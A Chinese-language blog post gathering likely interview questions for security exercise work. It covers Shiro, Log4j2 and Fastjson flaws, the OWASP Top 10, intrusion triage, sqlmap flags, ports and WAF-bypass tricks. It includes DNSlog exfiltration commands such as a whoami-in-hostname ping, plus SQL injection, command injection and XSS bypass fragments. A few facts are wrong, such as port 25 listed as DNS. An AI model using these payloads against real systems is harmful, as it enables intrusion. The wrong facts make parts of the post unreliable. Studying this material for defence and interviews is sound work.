这段时间在写横向移动,搞得鸽了很久(内网真的很玄学) 还没写完。。。
但是这不是准备HW了吗。小编也来整理一下自己收集到的题目吧!!!
(仅为个人见解,不代表最终答案)(本篇文章仅作为复习,具体细节请参考前面文章)
1.热门的框架漏洞
这个基本上是必问的!!!!! 啥都不看(bushi)先去看看这个!!
1.Shiro反序列化
听说这个问题命中率真的很高啊!!!
shiro可以分为550和721
Shiro550使用已知默认密码,只要有足够的密码,不需要Remember Cookie的。
Shiro721的ase加密的key为系统随机生成,需要利用登录后的rememberMe去爆破正确的key值。
原理就是Apache Shiro框架提供了RememberMe的功能,用户的信息会被序列化,然后aes加密,然后再base64编码,就能得到rememeberme的cookie值,当服务器收到这个cookie值的时候,就会先base64解码,然后aes解码,然后再反序列化!!
因此,攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。
2.Log4j2
这个也是被问到的很多的。
原理如下:
log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。
攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行。!!
::这个大家应该不陌生吧(我之前讲过的)
3.Fastjson反序列化
这个其实原理和log4j2差不多,只不过多了一个序列化和反序列化
原理如下:
使用AutoType功能进行序列号的JSON字符会带有一个@type来标记其字符的原始类型,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。其中有个 dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用!
2.OWASP-TOP10
这个基本上就是每一个渗透人员都要会的了吧!
1.失效的访问控制
说的那么高级,也就是我们常说的越权。越权通常发生在鉴权参数单一验证或者缺失,等等。。
2.加密机制失效
其实就是对什么密码啊,账号啊,敏感信息没有加密(直接明文传输),像shiro550密码直接硬编码了也算噢
3.注入
这里的注入可就不止SQL注入了,像还有什么代码注入,XML外部实体注入,html注入(XSS),jdni注入等等等
4.不安全的设计
在开发软件时,在关键身份验证、访问控制、业务逻辑和关键流部位没有进行安全的设计。
由于开发过程中的设计缺陷,可能导致注入、文件上传等漏洞被利用。
5.安全配置错误
嘿嘿,每次说到配置不当,我就想到提权(打住,这是Web),举个栗子?
还记不记得sql注入的宽字节注入,数据库采用GBK编码,php采用的UTF-8编码!!
这样我们传入的%df' 就会别解析为 让/变成一个 汉字 这样我们就实现了’的逃逸(addslashes)
这!也是一种配置不当导致的漏洞!!!
6.自带缺陷的组件
这个就很好理解了,像什么中间件啊,框架漏洞啊,多多少少都有一些历史漏洞,如果我们发现有企业用到了,说不定就可以去尝试利用!!
7.身份识别与身份认证错误
其实就是认证崩溃,或者说是弱口令,能被攻击者暴力破解,以及猜到。
8.软件和数据完整性失败
这个仅作了解就好
9.不足的日志记录和监控
一句话总结,就是自己的内部检查能力不足 ,没有办法在别人正在攻击你的时候,发现自己被攻击了!!!
10.SSRF
这个就是服务端请求伪造(我之前讲过),如果服务器对用户传入的url或者数据过滤不严或者不过滤的话,就可能被攻击者恶意利用改服务器的身份去远程加载资源,内网探测,redis的getshell等
3.入侵排查思路
这个我之前也是讲过的,顺便来复习一下
1.Windows入侵排查
首先就是要去检测一下注册表里面有没有后门用户了,看到一些$的,可能就是后门用户,可以用工具去查杀一下
然后就是去tasklist查看是否有可疑进程,netstat -ano 查看是否有异常连接与端口
然后就是启动项,计划任务,服务(这些都可以被用作提权以及维权)
接着,就是去eventvwr那里查看一下windows的安全日志,有无告警操作
最后就是看看系统有没有没打什么补丁,或者有没有什么可疑文件了
2.Linux入侵排查
首先来一句who 查看当前登录用户(tty本地登陆 pts远程登录)如果能看见pts就要去排查IP
然后就是要去查看用户信息,cat /etc/passwd看一下是否有uid除了root还为0的用户,以及去查看影子文件/etc/shadow
接着,就是要去查看历史执行的命令,cd到对应的home目录下cat .bash_history这个隐藏文件
然后,就是查看呢对应进程 ps -aux 如果有发现可疑进程 可疑 lsof -i:pid 然后直接kill掉它
接着,检查计划任务 /etc/crontab 以及一些开启启动的文件
通过命令查看suid权限以及sudo权限是否有被错误配置
最后就是查看一下登录日志了 /var/log 以及一些 系统的安全日志/var/log/secure
4.Web漏洞的一些细节
1.SQLmap的一些参数
- -u 指定的是url
- -r 指定的是文本
- -p 指定参数
- --batch 自动全部默认yes
- -proxy指定代理
- --risk 风险等级,一般都不要超过2否则可能会加入删除的语句
- --os-shell (需要知道物理路径,secure_file_priv为空,root用户登录)先上传一个小马到当前目录下或者根目录,然后上传一大马来进行命令执行
- -t 指定线程
那SQL注入的类型有哪些???
联合查询,布尔盲注,报错注入,时间盲注,堆叠注入,dnslog外带,UA,Refer,cookie注入,二次注入,宽字节注入。
2.XSS
反射型XSS和存储型XSS的区别?
DOM型注入JS代码不经过后端,反射型XSS以及存储型XSS都经过后端,并且每加载一次触发一次!!
3.csrf的原理?
CSRF(客户端请求伪造),攻击者通过技术手段去欺骗用户的浏览器去访问一个自己以前认证过的页面,并且浏览器没有加相应的检验,导致攻击者能以用户的身份完成一系列操作如(支付订单,发邮件等操作)
防护??
- 增加token检验
- 检验refer头
- 重要地方增加验证码检验
4.XXE原理?
XXE(xml外部实体注入),导致这个漏洞的产生,就是没有关闭外部实体引用,导致了攻击者可疑迭代的调用外部的DTD,进行内网探测,加载本地资源,DDOS攻击,一定条件下还能RCE。
最简单的防御方法,就是关闭XML外部实体引用
5.反序列化
序列化时从对象流变为字节流或者json等格式,反序列化就是从json或者字节流等格式变回对象的形式。当传入的参数可控,以及知道类中的一些参数成员,和类内调用一些魔术函数或者危险方法(PHP)等的时候就可能发生反序列化漏洞
5.Wireshark
对于Wireshark的一些简单用法还是要会的
- http.contains "Flag" http的包中包含flag字段
- http.request.method== "POST" 以POST提交参数
- http.request.uri="www.baidu.com" uri中包含www.baidu.com的字段
- ip.addr== "127.0.0.1" ip包含127.0.0.1
- ip.src =="127.0.0.1" 源ip是127.0.0.1
- tcp.srcport =="80" 源端口是80
等等等。。。。。。还有很多,自己去记一下
6.常见的端口以及对应的服务
- 21 FTP 文件传输
- 22 SSH linux远程连接
- 23 Telnet Windows远程登录
- 25 DNS 域名解析服务
- 80 || 443 http || https 服务
- 445 SMB文件共享(这个漏洞多)
- 1433 MSSQL
- 1521 Oracle
- 3306 Mysql数据库
- 5985 MinRM横向
- 6379 Redis数据库
- 7001 Weblogic默认端口
7.应急响应的流程
-
收集信息:收集客户信息和中毒主机信息,包括样本
-
抑制范围:隔离使受害⾯不继续扩⼤(封ip,c段),或者上报
-
深入分析:日志分析、进程分析、启动项分析、样本分析方便后期溯源(蓝初不用)
-
清理处置:杀掉进程,删除文件,打补丁,删除异常系统服务,清除后门账号防止事件扩大,处理完毕后恢复生产。
-
产出报告:整理并输出完整的安全事件报告。
8.DnsLog的作用
对于Dnslog,每一个网安人都肯定不会陌生,那么我们来总结一下他的作用。
- 用于XXE没有回显的时候来进行判断
- 用于ssrf探针检测
- 用于XSS的src标签检测
- 用于探测内网的某一个机器是否出网(有点牵强)
- RCE没有回显的判断(外带参数)
- Sql注入中的DNSlog外带
没错!! RCE在无回显的时候也是可以通过DNSlog检测的!!
对于Windows环境,我们可以ping下面这个
ping %USERNAME%.dnslog.cn
对于Linux环境,我们可以ping下面这个
ping `whoami`.dnslog.cn //``会被Linux解析为执行命令
9.绕WAF
:我??
不是你,我说的是 Web Application Firewall !
1.SQL注入绕WAF
对于SQL注入,我们可以怎么绕WAF??
- 大小写绕过(SeleCT ,UnIoN,AnD)
- 编码绕过 %0a(换行)%23(#) %26%26(&&) %00
- 替换绕过 substring,mid,substr,&&,||,like,schema(),<>,between_and,lpad,rpad,locate
- 注释符号绕过 user/**/() ,/*!database()*/
- 正则匹配 regexp
- HTTP参数污染,如?id=1&id=1%id=3' 说不定能绕过
- 传输大量的数据,绕过WAF识别的容量
- 双写绕过
2.文件上传绕WAF
对filename换行检测
还有很多,我直接贴图吧
3.RCE绕WAF
- 命令替换 tac ,less,tail,vi,more
- 重定向代替空格 < 可以代替空格, ${IFS}也可以代替空格
- 类堆叠注入 Linux下可以用 ;来执行多条命令
- 编码绕过 %0a
- 模糊匹配 *
4.XSS绕WAF
- HTML实体编码,Unicode编码
- 大小写绕过
- 双写绕过
- 采用其他函数 如confirm
- 伪协议 javascript::alert
- 增加标签,增加图片,链接🔗
10.Windows || Linux提权
这个不是一两句话能说完的,建议直接看我以前写的两篇文章